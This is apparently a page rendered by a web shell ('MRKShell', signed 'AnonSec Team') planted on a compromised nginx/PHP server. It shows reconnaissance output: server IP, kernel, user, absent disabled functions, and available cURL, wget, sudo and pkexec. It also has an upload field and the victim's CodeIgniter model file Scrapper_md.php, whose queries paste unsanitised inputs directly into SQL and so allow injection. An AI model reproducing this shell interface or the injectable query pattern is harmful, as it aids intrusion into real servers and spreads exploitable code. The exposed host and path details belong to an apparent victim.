MR K IS HERE

MRKShell

Server IP : 172.67.193.120 / Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/comunicacion/produccion/hitadmin/application/models/

Upload File :

[ HOME SHELL ]

Current File : /var/www/comunicacion/produccion/hitadmin/application/models/Scrapper_md.php

<?php

class Scrapper_md extends CI_Model {

    function __construct() {
        parent::__construct();
    }

    function getEdicionPublicada($scrapp) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
            SELECT id, DATE_FORMAT(fecha,'%d-%m-%Y') as fecha, DATE_FORMAT(fecha, '%Y-%m-%d') as fechabuscador 
            FROM edicion 
            WHERE publicada = 1
            LIMIT 1");
        $res = $query->result_array();
        if ($query->num_rows() > 0)
            return $res[0];
        else
            return false;
    }

    function getNotasDelDia($scrapp, $edicion) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
                        SELECT n.id, n.edicion_id, n.titulo, n.id_seccion, n.id_subseccion, n.habilitada, n.usuario_id, n.fechaAlta, n.fechamod, t.nombre AS seccion
                        FROM nota n
                        INNER JOIN tag AS t ON n.id_seccion = t.id
                        WHERE n.edicion_id = $edicion
                        ORDER BY n.id DESC");
        return $query->result();
    }

    function getEdicionPorFecha($scrapp, $fecha) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
            SELECT id
            FROM edicion 
            WHERE fecha = '" . $fecha . "'
            LIMIT 1");
        $res = $query->row();
        if ($query->num_rows() > 0) {
            return $res->id;
        } else {
            return false;
        }
    }

    function getAllSecciones($scrapp) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
                        SELECT t.id, t.nombre, t.tipo, t.habilitado, t.alias
                        FROM tag t
                        WHERE t.tipo = 'Seccion' AND t.padre_id = 0");
        return $query->result();
    }

    function getAllSubSecciones($scrapp) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
                        SELECT t.id, t.nombre, t.tipo, t.habilitado, t.alias
                        FROM tag t
                        WHERE t.tipo = 'Seccion' AND t.padre_id != 0");
        return $query->result();
    }

    function getNotaExterna($scrapp, $id) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
                        SELECT *
                        FROM nota
                        WHERE id = $id");
        return $query->row();
    }

    function getNotaFoto($scrapp, $id) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
                        SELECT f.id, f.ruta, f.imagen, r.descripcion as descripcion
                        FROM foto f
                        INNER JOIN relacion r ON f.id = r.objeto_id
                        WHERE r.nota_id = $id AND r.tipo = 30 AND r.orden = 1 AND r.destacado = 1
                        LIMIT 1");
        return $query->row();
    }

    function getEdicion($scrapp, $id) {
        $db = $this->load->database($scrapp, TRUE);

        $query = $db->query("
            SELECT id, DATE_FORMAT(fecha,'%d-%m-%Y') as fecha, DATE_FORMAT(fecha, '%Y-%m-%d') as fechabuscador
            FROM edicion 
            WHERE id = '" . $id . "'
            LIMIT 1");
        return $query->row();
    }

}

Anon7 - 2022
AnonSec Team